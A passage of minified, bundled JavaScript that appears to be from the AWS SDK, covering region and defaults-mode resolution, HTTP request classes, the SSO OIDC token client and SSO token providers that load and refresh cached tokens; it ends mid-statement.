tu5=l0(),ul8=NV(),eu5=dX(),AB5="AWS_EXECUTION_ENV",Bl8="AWS_REGION",ml8="AWS_DEFAULT_REGION",KB5="AWS_EC2_METADATA_DISABLED",qB5=["in-region","cross-region","mobile","standard","legacy"],YB5="/latest/meta-data/placement/region",zB5="AWS_DEFAULTS_MODE",wB5="defaults_mode",HB5={environmentVariableSelector:(A)=>{return A[zB5]},configFileSelector:(A)=>{return A[wB5]},default:"legacy"},JB5=({region:A=ul8.loadConfig(tu5.NODE_REGION_CONFIG_OPTIONS),defaultsMode:K=ul8.loadConfig(HB5)}={})=>eu5.memoize(async()=>{let q=typeof K==="function"?await K():K;switch(q?.toLowerCase()){case"auto":return OB5(A);case"in-region":case"cross-region":case"mobile":case"standard":case"legacy":return Promise.resolve(q?.toLocaleLowerCase());case void 0:return Promise.resolve("legacy");default:throw Error(`Invalid parameter for "defaultsMode", expect ${qB5.join(", ")}, got ${q}`)}}),OB5=async(A)=>{if(A){let K=typeof A==="function"?await A():A,q=await XB5();if(!q)return"standard";if(K===q)return"in-region";else return"cross-region"}return"standard"},XB5=async()=>{if(process.env[AB5]&&(process.env[Bl8]||process.env[ml8]))return process.env[Bl8]??process.env[ml8];if(!process.env[KB5])try{let{getInstanceMetadataEndpoint:A,httpRequest:K}=await Promise.resolve().then(() => o(K8A())),q=await A();return(await K({...q,path:YB5})).toString()}catch(A){}};$B5.resolveDefaultsModeConfig=JB5});var cl8=v((pl8)=>{Object.defineProperty(pl8,"__esModule",{value:!0});pl8.getRuntimeConfig=void 0;var GB5=Uz(),ZB5=GB5.__importDefault(_81()),gl8=aw(),Fl8=oF(),j81=l0(),WB5=aF(),Ql8=kZ(),q8A=NV(),Ul8=zT(),DB5=sF(),jB5=db(),MB5=xl8(),PB5=ej(),VB5=KQ(),fB5=ej(),NB5=(A)=>{(0,fB5.emitWarningIfUnsupportedVersion)(process.version);let K=(0,VB5.resolveDefaultsModeConfig)(A),q=()=>K().then(PB5.loadConfigsForDefaultMode),Y=(0,MB5.getRuntimeConfig)(A);(0,gl8.emitWarningIfUnsupportedVersion)(process.version);let z={profile:A?.profile,logger:Y.logger};return{...Y,...A,runtime:"node",defaultsMode:K,authSchemePreference:A?.authSchemePreference??(0,q8A.loadConfig)(gl8.NODE_AUTH_SCHEME_PREFERENCE_OPTIONS,z),bodyLengthChecker:A?.bodyLengthChecker??DB5.calculateBodyLength,defaultUserAgentProvider:A?.defaultUserAgentProvider??(0,Fl8.createDefaultUserAgentProvider)({serviceId:Y.serviceId,clientVersion:ZB5.default.version}),maxAttempts:A?.maxAttempts??(0,q8A.loadConfig)(Ql8.NODE_MAX_ATTEMPT_CONFIG_OPTIONS,A),region:A?.region??(0,q8A.loadConfig)(j81.NODE_REGION_CONFIG_OPTIONS,{...j81.NODE_REGION_CONFIG_FILE_OPTIONS,...z}),requestHandler:Ul8.NodeHttpHandler.create(A?.requestHandler??q),retryMode:A?.retryMode??(0,q8A.loadConfig)({...Ql8.NODE_RETRY_MODE_CONFIG_OPTIONS,default:async()=>(await q()).retryMode||jB5.DEFAULT_RETRY_MODE},A),sha256:A?.sha256??WB5.Hash.bind(null,"sha256"),streamCollector:A?.streamCollector??Ul8.streamCollector,useDualstackEndpoint:A?.useDualstackEndpoint??(0,q8A.loadConfig)(j81.NODE_USE_DUALSTACK_ENDPOINT_CONFIG_OPTIONS,z),useFipsEndpoint:A?.useFipsEndpoint??(0,q8A.loadConfig)(j81.NODE_USE_FIPS_ENDPOINT_CONFIG_OPTIONS,z),userAgentAppId:A?.userAgentAppId??(0,q8A.loadConfig)(Fl8.NODE_APP_ID_CONFIG_OPTIONS,z)}};pl8.getRuntimeConfig=NB5});var nl8=v((il8)=>{Object.defineProperty(il8,"__esModule",{value:!0});il8.warning=void 0;il8.stsRegionDefaultResolver=vB5;var ll8=l0(),TB5=NV();function vB5(A={}){return(0,TB5.loadConfig)({...ll8.NODE_REGION_CONFIG_OPTIONS,async default(){if(!il8.warning.silence)console.warn("@aws-sdk - WARN - default STS region of us-east-1 used. See @aws-sdk/credential-providers README and set a region explicitly.");return"us-east-1"}},{...ll8.NODE_REGION_CONFIG_FILE_OPTIONS,...A})}il8.warning={silence:!1}});var Yy=v((zn)=>{var zLA=l0(),rl8=nl8(),kB5=(A)=>{return{setRegion(K){A.region=K},region(){return A.region}}},CB5=(A)=>{return{region:A.region()}};Object.defineProperty(zn,"NODE_REGION_CONFIG_FILE_OPTIONS",{enumerable:!0,get:function(){return zLA.NODE_REGION_CONFIG_FILE_OPTIONS}});Object.defineProperty(zn,"NODE_REGION_CONFIG_OPTIONS",{enumerable:!0,get:function(){return zLA.NODE_REGION_CONFIG_OPTIONS}});Object.defineProperty(zn,"REGION_ENV_NAME",{enumerable:!0,get:function(){return zLA.REGION_ENV_NAME}});Object.defineProperty(zn,"REGION_INI_NAME",{enumerable:!0,get:function(){return zLA.REGION_INI_NAME}});Object.defineProperty(zn,"resolveRegionConfig",{enumerable:!0,get:function(){return zLA.resolveRegionConfig}});zn.getAwsRegionExtensionConfiguration=kB5;zn.resolveAwsRegionExtensionConfiguration=CB5;Object.keys(rl8).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(zn,A))Object.defineProperty(zn,A,{enumerable:!0,get:function(){return rl8[A]}})})});var P81=v((xB5)=>{var yB5=Io1(),IB5=(A)=>{return{setHttpHandler(K){A.httpHandler=K},httpHandler(){return A.httpHandler},updateHttpClientConfig(K,q){A.httpHandler?.updateHttpClientConfig(K,q)},httpHandlerConfigs(){return A.httpHandler.httpHandlerConfigs()}}},SB5=(A)=>{return{httpHandler:A.httpHandler()}};class ol8{name;kind;values;constructor({name:A,kind:K=yB5.FieldPosition.HEADER,values:q=[]}){this.name=A,this.kind=K,this.values=q}add(A){this.values.push(A)}set(A){this.values=A}remove(A){this.values=this.values.filter((K)=>K!==A)}toString(){return this.values.map((A)=>A.includes(",")||A.includes(" ")?`"${A}"`:A).join(", ")}get(){return this.values}}class al8{entries={};encoding;constructor({fields:A=[],encoding:K="utf-8"}){A.forEach(this.setField.bind(this)),this.encoding=K}setField(A){this.entries[A.name.toLowerCase()]=A}getField(A){return this.entries[A.toLowerCase()]}removeField(A){delete this.entries[A.toLowerCase()]}getByType(A){return Object.values(this.entries).filter((K)=>K.kind===A)}}class M81{method;protocol;hostname;port;path;query;headers;username;password;fragment;body;constructor(A){this.method=A.method||"GET",this.hostname=A.hostname||"localhost",this.port=A.port,this.query=A.query||{},this.headers=A.headers||{},this.body=A.body,this.protocol=A.protocol?A.protocol.slice(-1)!==":"?`${A.protocol}:`:A.protocol:"https:",this.path=A.path?A.path.charAt(0)!=="/"?`/${A.path}`:A.path:"/",this.username=A.username,this.password=A.password,this.fragment=A.fragment}static clone(A){let K=new M81({...A,headers:{...A.headers}});if(K.query)K.query=hB5(K.query);return K}static isInstance(A){if(!A)return!1;let K=A;return"method"in K&&"protocol"in K&&"hostname"in K&&"path"in K&&typeof K.query==="object"&&typeof K.headers==="object"}clone(){return M81.clone(this)}}function hB5(A){return Object.keys(A).reduce((K,q)=>{let Y=A[q];return{...K,[q]:Array.isArray(Y)?[...Y]:Y}},{})}class sl8{statusCode;reason;headers;body;constructor(A){this.statusCode=A.statusCode,this.reason=A.reason,this.headers=A.headers||{},this.body=A.body}static isInstance(A){if(!A)return!1;let K=A;return typeof K.statusCode==="number"&&typeof K.headers==="object"}}function bB5(A){return/^[a-z0-9][a-z0-9\.\-]*[a-z0-9]$/.test(A)}xB5.Field=ol8;xB5.Fields=al8;xB5.HttpRequest=M81;xB5.HttpResponse=sl8;xB5.getHttpHandlerExtensionConfiguration=IB5;xB5.isValidHostname=bB5;xB5.resolveHttpHandlerRuntimeConfig=SB5});var Ja1=v((Ha1)=>{var tl8=BF(),pB5=mF(),dB5=gF(),el8=Ub(),cB5=l0(),qa1=Gz(),wT=DJ(),lB5=rF(),zi8=qy(),Ai8=kZ(),wn=ej(),Ki8=go1(),iB5=cl8(),qi8=Yy(),Yi8=P81(),nB5=(A)=>{return Object.assign(A,{useDualstackEndpoint:A.useDualstackEndpoint??!1,useFipsEndpoint:A.useFipsEndpoint??!1,defaultSigningName:"sso-oauth"})},rB5={UseFIPS:{type:"builtInParams",name:"useFipsEndpoint"},Endpoint:{type:"builtInParams",name:"endpoint"},Region:{type:"builtInParams",name:"region"},UseDualStack:{type:"builtInParams",name:"useDualstackEndpoint"}},oB5=(A)=>{let{httpAuthSchemes:K,httpAuthSchemeProvider:q,credentials:Y}=A;return{setHttpAuthScheme(z){let w=K.findIndex((H)=>H.schemeId===z.schemeId);if(w===-1)K.push(z);else K.splice(w,1,z)},httpAuthSchemes(){return K},setHttpAuthSchemeProvider(z){q=z},httpAuthSchemeProvider(){return q},setCredentials(z){Y=z},credentials(){return Y}}},aB5=(A)=>{return{httpAuthSchemes:A.httpAuthSchemes(),httpAuthSchemeProvider:A.httpAuthSchemeProvider(),credentials:A.credentials()}},sB5=(A,K)=>{let q=Object.assign(qi8.getAwsRegionExtensionConfiguration(A),wn.getDefaultExtensionConfiguration(A),Yi8.getHttpHandlerExtensionConfiguration(A),oB5(A));return K.forEach((Y)=>Y.configure(q)),Object.assign(A,qi8.resolveAwsRegionExtensionConfiguration(q),wn.resolveDefaultRuntimeConfig(q),Yi8.resolveHttpHandlerRuntimeConfig(q),aB5(q))};class Ya1 extends wn.Client{config;constructor(...[A]){let K=iB5.getRuntimeConfig(A||{});super(K);this.initConfig=K;let q=nB5(K),Y=el8.resolveUserAgentConfig(q),z=Ai8.resolveRetryConfig(Y),w=cB5.resolveRegionConfig(z),H=tl8.resolveHostHeaderConfig(w),J=zi8.resolveEndpointConfig(H),O=Ki8.resolveHttpAuthSchemeConfig(J),X=sB5(O,A?.extensions||[]);this.config=X,this.middlewareStack.use(wT.getSchemaSerdePlugin(this.config)),this.middlewareStack.use(el8.getUserAgentPlugin(this.config)),this.middlewareStack.use(Ai8.getRetryPlugin(this.config)),this.middlewareStack.use(lB5.getContentLengthPlugin(this.config)),this.middlewareStack.use(tl8.getHostHeaderPlugin(this.config)),this.middlewareStack.use(pB5.getLoggerPlugin(this.config)),this.middlewareStack.use(dB5.getRecursionDetectionPlugin(this.config)),this.middlewareStack.use(qa1.getHttpAuthSchemeEndpointRuleSetPlugin(this.config,{httpAuthSchemeParametersProvider:Ki8.defaultSSOOIDCHttpAuthSchemeParametersProvider,identityProviderConfigProvider:async($)=>new qa1.DefaultIdentityProviderConfig({"aws.auth#sigv4":$.credentials})})),this.middlewareStack.use(qa1.getHttpSigningPlugin(this.config))}destroy(){super.destroy()}}var HT=class A extends wn.ServiceException{constructor(K){super(K);Object.setPrototypeOf(this,A.prototype)}},wi8=class A extends HT{name="AccessDeniedException";$fault="client";error;reason;error_description;constructor(K){super({name:"AccessDeniedException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype),this.error=K.error,this.reason=K.reason,this.error_description=K.error_description}},Hi8=class A extends HT{name="AuthorizationPendingException";$fault="client";error;error_description;constructor(K){super({name:"AuthorizationPendingException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype),this.error=K.error,this.error_description=K.error_description}},Ji8=class A extends HT{name="ExpiredTokenException";$fault="client";error;error_description;constructor(K){super({name:"ExpiredTokenException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype),this.error=K.error,this.error_description=K.error_description}},Oi8=class A extends HT{name="InternalServerException";$fault="server";error;error_description;constructor(K){super({name:"InternalServerException",$fault:"server",...K});Object.setPrototypeOf(this,A.prototype),this.error=K.error,this.error_description=K.error_description}},Xi8=class A extends HT{name="InvalidClientException";$fault="client";error;error_description;constructor(K){super({name:"InvalidClientException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype),this.error=K.error,this.error_description=K.error_description}},$i8=class A extends HT{name="InvalidGrantException";$fault="client";error;error_description;constructor(K){super({name:"InvalidGrantException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype),this.error=K.error,this.error_description=K.error_description}},_i8=class A extends HT{name="InvalidRequestException";$fault="client";error;reason;error_description;constructor(K){super({name:"InvalidRequestException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype),this.error=K.error,this.reason=K.reason,this.error_description=K.error_description}},Gi8=class A extends HT{name="InvalidScopeException";$fault="client";error;error_description;constructor(K){super({name:"InvalidScopeException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype),this.error=K.error,this.error_description=K.error_description}},Zi8=class A extends HT{name="SlowDownException";$fault="client";error;error_description;constructor(K){super({name:"SlowDownException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype),this.error=K.error,this.error_description=K.error_description}},Wi8=class A extends HT{name="UnauthorizedClientException";$fault="client";error;error_description;constructor(K){super({name:"UnauthorizedClientException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype),this.error=K.error,this.error_description=K.error_description}},Di8=class A extends HT{name="UnsupportedGrantTypeException";$fault="client";error;error_description;constructor(K){super({name:"UnsupportedGrantTypeException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype),this.error=K.error,this.error_description=K.error_description}},tB5="AccessDeniedException",eB5="AuthorizationPendingException",Am5="AccessToken",Km5="ClientSecret",qm5="CreateToken",Ym5="CreateTokenRequest",zm5="CreateTokenResponse",wm5="CodeVerifier",Hm5="ExpiredTokenException",Jm5="InvalidClientException",Om5="InvalidGrantException",Xm5="InvalidRequestException",$m5="InternalServerException",_m5="InvalidScopeException",Gm5="IdToken",Zm5="RefreshToken",Wm5="SlowDownException",Dm5="UnauthorizedClientException",jm5="UnsupportedGrantTypeException",Mm5="accessToken",lb="client",Pm5="clientId",Vm5="clientSecret",fm5="codeVerifier",Nm5="code",Tm5="deviceCode",lO="error",vm5="expiresIn",zy="error_description",Em5="grantType",km5="http",wy="httpError",Cm5="idToken",ji8="reason",Mi8="refreshToken",Lm5="redirectUri",Rm5="scope",ym5="server",Pi8="smithy.ts.sdk.synthetic.com.amazonaws.ssooidc",Im5="tokenType",b2="com.amazonaws.ssooidc",Sm5=[0,b2,Am5,8,0],hm5=[0,b2,Km5,8,0],bm5=[0,b2,wm5,8,0],xm5=[0,b2,Gm5,8,0],Vi8=[0,b2,Zm5,8,0],um5=[-3,b2,tB5,{[lO]:lb,[wy]:400},[lO,ji8,zy],[0,0,0]];wT.TypeRegistry.for(b2).registerError(um5,wi8);var Bm5=[-3,b2,eB5,{[lO]:lb,[wy]:400},[lO,zy],[0,0]];wT.TypeRegistry.for(b2).registerError(Bm5,Hi8);var mm5=[3,b2,Ym5,0,[Pm5,Vm5,Em5,Tm5,Nm5,Mi8,Rm5,Lm5,fm5],[0,[()=>hm5,0],0,0,0,[()=>Vi8,0],64,0,[()=>bm5,0]]],gm5=[3,b2,zm5,0,[Mm5,Im5,vm5,Mi8,Cm5],[[()=>Sm5,0],0,1,[()=>Vi8,0],[()=>xm5,0]]],Fm5=[-3,b2,Hm5,{[lO]:lb,[wy]:400},[lO,zy],[0,0]];wT.TypeRegistry.for(b2).registerError(Fm5,Ji8);var Qm5=[-3,b2,$m5,{[lO]:ym5,[wy]:500},[lO,zy],[0,0]];wT.TypeRegistry.for(b2).registerError(Qm5,Oi8);var Um5=[-3,b2,Jm5,{[lO]:lb,[wy]:401},[lO,zy],[0,0]];wT.TypeRegistry.for(b2).registerError(Um5,Xi8);var pm5=[-3,b2,Om5,{[lO]:lb,[wy]:400},[lO,zy],[0,0]];wT.TypeRegistry.for(b2).registerError(pm5,$i8);var dm5=[-3,b2,Xm5,{[lO]:lb,[wy]:400},[lO,ji8,zy],[0,0,0]];wT.TypeRegistry.for(b2).registerError(dm5,_i8);var cm5=[-3,b2,_m5,{[lO]:lb,[wy]:400},[lO,zy],[0,0]];wT.TypeRegistry.for(b2).registerError(cm5,Gi8);var lm5=[-3,b2,Wm5,{[lO]:lb,[wy]:400},[lO,zy],[0,0]];wT.TypeRegistry.for(b2).registerError(lm5,Zi8);var im5=[-3,b2,Dm5,{[lO]:lb,[wy]:400},[lO,zy],[0,0]];wT.TypeRegistry.for(b2).registerError(im5,Wi8);var nm5=[-3,b2,jm5,{[lO]:lb,[wy]:400},[lO,zy],[0,0]];wT.TypeRegistry.for(b2).registerError(nm5,Di8);var rm5=[-3,Pi8,"SSOOIDCServiceException",0,[],[]];wT.TypeRegistry.for(Pi8).registerError(rm5,HT);var om5=[9,b2,qm5,{[km5]:["POST","/token",200]},()=>mm5,()=>gm5];class za1 extends wn.Command.classBuilder().ep(rB5).m(function(A,K,q,Y){return[zi8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSSSOOIDCService","CreateToken",{}).n("SSOOIDCClient","CreateTokenCommand").sc(om5).build(){}var am5={CreateTokenCommand:za1};class wa1 extends Ya1{}wn.createAggregatedClient(am5,wa1);var sm5={KMS_ACCESS_DENIED:"KMS_AccessDeniedException"},tm5={KMS_DISABLED_KEY:"KMS_DisabledException",KMS_INVALID_KEY_USAGE:"KMS_InvalidKeyUsageException",KMS_INVALID_STATE:"KMS_InvalidStateException",KMS_KEY_NOT_FOUND:"KMS_NotFoundException"};Object.defineProperty(Ha1,"$Command",{enumerable:!0,get:function(){return wn.Command}});Object.defineProperty(Ha1,"__Client",{enumerable:!0,get:function(){return wn.Client}});Ha1.AccessDeniedException=wi8;Ha1.AccessDeniedExceptionReason=sm5;Ha1.AuthorizationPendingException=Hi8;Ha1.CreateTokenCommand=za1;Ha1.ExpiredTokenException=Ji8;Ha1.InternalServerException=Oi8;Ha1.InvalidClientException=Xi8;Ha1.InvalidGrantException=$i8;Ha1.InvalidRequestException=_i8;Ha1.InvalidRequestExceptionReason=tm5;Ha1.InvalidScopeException=Gi8;Ha1.SSOOIDC=wa1;Ha1.SSOOIDCClient=Ya1;Ha1.SSOOIDCServiceException=HT;Ha1.SlowDownException=Zi8;Ha1.UnauthorizedClientException=Wi8;Ha1.UnsupportedGrantTypeException=Di8});var V81=v((Lg5)=>{var jg5=fV(),Mg5=jc8(),JT=dX(),wLA=pb(),Pg5=CA("fs"),Vg5=({logger:A,signingName:K}={})=>async()=>{if(A?.debug?.("@aws-sdk/token-providers - fromEnvSigningName"),!K)throw new JT.TokenProviderError("Please pass 'signingName' to compute environment variable key",{logger:A});let q=Mg5.getBearerTokenEnvKey(K);if(!(q in process.env))throw new JT.TokenProviderError(`Token not present in '${q}' environment variable`,{logger:A});let Y={token:process.env[q]};return jg5.setTokenFeature(Y,"BEARER_SERVICE_ENV_VARS","3"),Y},fg5=300000,Oa1="To refresh this SSO session run 'aws sso login' with the corresponding profile.",Ng5=async(A,K={})=>{let{SSOOIDCClient:q}=await Promise.resolve().then(() => o(Ja1())),Y=(w)=>K.clientConfig?.[w]??K.parentClientConfig?.[w];return new q(Object.assign({},K.clientConfig??{},{region:A??K.clientConfig?.region,logger:Y("logger"),userAgentAppId:Y("userAgentAppId")}))},Tg5=async(A,K,q={})=>{let{CreateTokenCommand:Y}=await Promise.resolve().then(() => o(Ja1()));return(await Ng5(K,q)).send(new Y({clientId:A.clientId,clientSecret:A.clientSecret,refreshToken:A.refreshToken,grantType:"refresh_token"}))},fi8=(A)=>{if(A.expiration&&A.expiration.getTime()<Date.now())throw new JT.TokenProviderError(`Token is expired. ${Oa1}`,!1)},Y8A=(A,K,q=!1)=>{if(typeof K>"u")throw new JT.TokenProviderError(`Value not present for '${A}' in SSO Token${q?". Cannot refresh":""}. ${Oa1}`,!1)},{writeFile:vg5}=Pg5.promises,Eg5=(A,K)=>{let q=wLA.getSSOTokenFilepath(A),Y=JSON.stringify(K,null,2);return vg5(q,Y)},Ni8=new Date(0),Ti8=(A={})=>async({callerClientConfig:K}={})=>{let q={...A,parentClientConfig:{...K,...A.parentClientConfig}};q.logger?.debug("@aws-sdk/token-providers - fromSso");let Y=await wLA.parseKnownFiles(q),z=wLA.getProfileName({profile:q.profile??K?.profile}),w=Y[z];if(!w)throw new JT.TokenProviderError(`Profile '${z}' could not be found in shared credentials file.`,!1);else if(!w.sso_session)throw new JT.TokenProviderError(`Profile '${z}' is missing required property 'sso_session'.`);let H=w.sso_session,O=(await wLA.loadSsoSessionData(q))[H];if(!O)throw new JT.TokenProviderError(`Sso session '${H}' could not be found in shared credentials file.`,!1);for(let W of["sso_start_url","sso_region"])if(!O[W])throw new JT.TokenProviderError(`Sso session '${H}' is missing required property '${W}'.`,!1);O.sso_start_url;let X=O.sso_region,$;try{$=await wLA.getSSOTokenFromFile(H)}catch(W){throw new JT.TokenProviderError(`The SSO session token associated with profile=${z} was not found or is invalid. ${Oa1}`,!1)}Y8A("accessToken",$.accessToken),Y8A("expiresAt",$.expiresAt);let{accessToken:_,expiresAt:G}=$,Z={token:_,expiration:new Date(G)};if(Z.expiration.getTime()-Date.now()>fg5)return Z;if(Date.now()-Ni8.getTime()<30000)return fi8(Z),Z;Y8A("clientId",$.clientId,!0),Y8A("clientSecret",$.clientSecret,!0),Y8A("refreshToken",$.refreshToken,!0);try{Ni8.setTime(Date.now());let W=await Tg5($,X,q);Y8A("accessToken",W.accessToken),Y8A("expiresIn",W.expiresIn);let D=new Date(Date.now()+W.expiresIn*1000);try{await Eg5(H,{...$,accessToken:W.accessToken,expiresAt:D.toISOString(),refreshToken:W.refreshToken})}catch(j){}return{token:W.accessToken,expiration:D}}catch(W){return fi8(Z),Z}},kg5=({token:A,logger:K})=>async()=>{if(K?.debug("@aws-sdk/token-providers - fromStatic"),!A||!A.token)throw new JT.TokenProviderError("Please pass a valid token to fromStatic",!1);return A},Cg5=(A={})=>JT.memoize(JT.chain(Ti8(A),async()=>{throw new JT.TokenProviderError("Could not load token from any providers",!1)}),(K)=>K.expiration!==void 0&&K.expiration.getTime()-Date.now()<300000,(K)=>K.expiration!==void 0);Lg5.fromEnvSigningName=Vg5;Lg5.fromSso=Ti8;Lg5.fromStatic=kg5;Lg5.nodeProvider=Cg5});var Da1=v((mg5)=>{mg5.HttpAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(mg5.HttpAuthLocation||(mg5.HttpAuthLocation={}));mg5.HttpApiKeyAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(mg5.HttpApiKeyAuthLocation||(mg5.HttpApiKeyAuthLocation={}));mg5.EndpointURLScheme=void 0;(function(A){A.HTTP="http",A.HTTPS="https"})(mg5.EndpointURLScheme||(mg5.EndpointURLScheme={}));mg5.AlgorithmId=void 0;(function(A){A.MD5="md5",A.CRC32="crc32",A.CRC32C="crc32c",A.SHA1="sha1",A.SHA256="sha256"})(mg5.AlgorithmId||(mg5.AlgorithmId={}));var hg5=(A)=>{let K=[];if(A.sha256!==void 0)K.push({algorithmId:()=>mg5.AlgorithmId.SHA256,checksumConstructor:()=>A.sha256});if(A.md5!=null)K.push({algorithmId:()=>mg5.AlgorithmId.MD5,checksumConstructor:()=>A.md5});return{addChecksumAlgorithm(q){K.push(q)},checksumAlgorithms(){return K}}},bg5=(A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},xg5=(A)=>{return hg5(A)},ug5=(A)=>{return bg5(A)};mg5.FieldPosition=void 0;(function(A){A[A.HEADER=0]="HEADER",A[A.TRAILER=1]="TRAILER"})(mg5.FieldPosition||(mg5.FieldPosition={}));var Bg5="__smithy_context";mg5.IniSectionType=void 0;(function(A){A.PROFILE="profile",A.SSO_SESSION="sso-session",A.SERVICES="services"})(mg5.IniSectionType||(mg5.IniSectionType={}));mg5.RequestHandlerProtocol=void 0;(function(A){A.HTTP_0_9="http/0.9",A.HTTP_1_0="http/1.0",A.TDS_8_0="tds/8.0"})(mg5.RequestHandlerProtocol||(mg5.RequestHandlerProtocol={}));mg5.SMITHY_CONTEXT_KEY=Bg5;mg5.getDefaultClientConfiguration=xg5;mg5.resolveDefaultRuntimeConfig=ug5});var JLA=v((LOA)=>{var ki8=Fb(),fa1=VV(),Ma1=Da1(),Ug5=DJ(),vi8=PV();class Ci8{config;middlewareStack=ki8.constructStack();initConfig;handlers;constructor(A){this.config=A}send(A,K,q){let Y=typeof K!=="function"?K:void 0,z=typeof K==="function"?K:q,w=Y===void 0&&this.config.cacheMiddleware===!0,H;if(w){if(!this.handlers)this.handlers=new WeakMap;let J=this.handlers;if(J.has(A.constructor))H=J.get(A.constructor);else H=A.resolveMiddleware(this.middlewareStack,this.config,Y),J.set(A.constructor,H)}else delete this.handlers,H=A.resolveMiddleware(this.middlewareStack,this.config,Y);if(z)H(A).then((J)=>z(null,J.output),(J)=>z(J)).catch(()=>{});else return H(A).then((J)=>J.output)}destroy(){this.config?.requestHandler?.destroy?.(),delete this.handlers}}var ja1="***SensitiveInformation***";function Pa1(A,K){if(K==null)return K;let q=Ug5.NormalizedSchema.of(A);if(q.getMergedTraits().sensitive)return ja1;if(q.isListSchema()){if(!!q.getValueSchema().getMergedTraits().sensitive)return ja1}else if(q.isMapSchema()){if(!!q.getKeySchema().getMergedTraits().sensitive||!!q.getValueSchema().getMergedTraits().sensitive)return ja1}else if(q.isStructSchema()&&typeof K==="object"){let Y=K,z={};for(let[w,H]of q.structIterator())if(Y[w]!=null)z[w]=Pa1(H,Y[w]);return z}return K}class Na1{middlewareStack=ki8.constructStack();schema;static classBuilder(){return new Li8}resolveMiddlewareWithContext(A,K,q,{middlewareFn:Y,clientName:z,commandName:w,inputFilterSensitiveLog:H,outputFilterSensitiveLog:J,smithyContext:O,additionalContext:X,CommandCtor:$}){for(let D of Y.bind(this)($,A,K,q))this.middlewareStack.use(D);let _=A.concat(this.middlewareStack),{logger:G}=K,Z={logger:G,clientName:z,commandName:w,inputFilterSensitiveLog:H,outputFilterSensitiveLog:J,[Ma1.SMITHY_CONTEXT_KEY]:{commandInstance:this,...O},...X},{requestHandler:W}=K;return _.resolve((D)=>W.handle(D.request,q||{}),Z)}}class Li8{_init=()=>{};_ep={};_middlewareFn=()=>[];_commandName="";_clientName="";_additionalContext={};_smithyContext={};_inputFilterSensitiveLog=void 0;_outputFilterSensitiveLog=void 0;_serializer=null;_deserializer=null;_operationSchema;init(A){this._init=A}ep(A){return this._ep=A,this}m(A){return this._middlewareFn=A,this}s(A,K,q={}){return this._smithyContext={service:A,operation:K,...q},this}c(A={}){return this._additionalContext=A,this}n(A,K){return this._clientName=A,this._commandName=K,this}f(A=(q)=>q,K=(q)=>q){return this._inputFilterSensitiveLog=A,this._outputFilterSensitiveLog=K,this}ser(A){return this._serializer=A,this}de(A){return this._deserializer=A,this}sc(A){return this._operationSchema=A,this._smithyContext.operationSchema=A,this}build(){let A=this,K;return K=class extends Na1{input;static getEndpointParameterInstructions(){return A._ep}constructor(...[q]){super();this.input=q??{},A._init(this),this.schema=A._operationSchema}resolveMiddleware(q,Y,z){let w=A._operationSchema,H=w?.[4]??w?.input,J=w?.[5]??w?.output;return this.resolveMiddlewareWithContext(q,Y,z,{CommandCtor:K,middlewareFn:A._middlewareFn,clientName:A._clientName,commandName:A._commandName,inputFilterSensitiveLog:A._inputFilterSensitiveLog??(w?Pa1.bind(null,H):(O)=>O),outputFilterSensitiveLog:A._outputFilterSensitiveLog??(w?Pa1.bind(null,J):(O)=>O),smithyContext:A._smithyContext,additionalContext:A._additionalContext})}serialize=A._serializer;deserialize=A._deserializer}}}var pg5="***SensitiveInformation***",dg5=(A,K)=>{for(let q of Object.keys(A)){let Y=A[q],z=async function(H,J,O){let X=new Y(H);if(typeof J==="function")this.send(X,J);else if(typeof O==="function"){if(typeof J!=="object")throw Error(`Expected http options but got ${typeof J}`);this.send(X,J||{},O)}else return this.send(X,J)},w=(q[0].toLowerCase()+q.slice(1)).replace(/Command$/,"");K.prototype[w]=z}};class COA extends Error{$fault;$response;$retryable;$metadata;constructor(A){super(A.message);Object.setPrototypeOf(this,Object.getPrototypeOf(this).constructor.prototype),this.name=A.name,this.$fault=A.$fault,this.$metadata=A.$metadata}static isInstance(A){if(!A)return!1;let K=A;return COA.prototype.isPrototypeOf(K)||Boolean(K.$fault)&&Boolean(K.$metadata)&&(K.$fault==="client"||K.$fault==="server")}static[Symbol.hasInstance](A){if(!A)return!1;let K=A;if(this===COA)return COA.isInstance(A);if(COA.isInstance(A)){if(K.name&&this.name)return this.prototype.isPrototypeOf(A)||K.name===this.name;return this.prototype.isPrototypeOf(A)}return!1}}var Ri8=(A,K={})=>{Object.entries(K).filter(([,Y])=>Y!==void 0).forEach(([Y,z])=>{if(A[Y]==null||A[Y]==="")A[Y]=z});let q=A.message||A.Message||"UnknownError";return A.message=q,delete A.Message,A},yi8=({output:A,parsedBody:K,exceptionCtor:q,errorCode:Y})=>{let z=lg5(A),w=z.httpStatusCode?z.httpStatusCode+"":void 0,H=new q({name:K?.code||K?.Code||Y||w||"UnknownError",$fault:"client",$metadata:z});throw Ri8(H,K)},cg5=(A)=>{return({output:K,parsedBody:q,errorCode:Y})=>{yi8({output:K,parsedBody:q,exceptionCtor:A,errorCode:Y})}},lg5=(A)=>({httpStatusCode:A.statusCode,requestId:A.headers["x-amzn-requestid"]??A.headers["x-amzn-request-id"]??A.headers["x-amz-request-id"],extendedRequestId:A.headers["x-amz-id-2"],cfId:A.headers["x-amz-cf-id"]}),ig5=(A)=>{switch(A){case"standard":return{retryMode:"standard",connectionTimeout:3100};case"in-region":return{retryMode:"standard",connectionTimeout:1100};case"cross-region":return{retryMode:"standard",connectionTimeout:3100};case"mobile":return{retryMode:"standard",connectionTimeout:30000};default:return{}}},Ei8=!1,ng5=(A)=>{if(A&&!Ei8&&parseInt(A.substring(1,A.indexOf(".")))<16)Ei8=!0},rg5=(A)=>{let K=[];for(let q in Ma1.AlgorithmId){let Y=Ma1.AlgorithmId[q];if(A[Y]===void 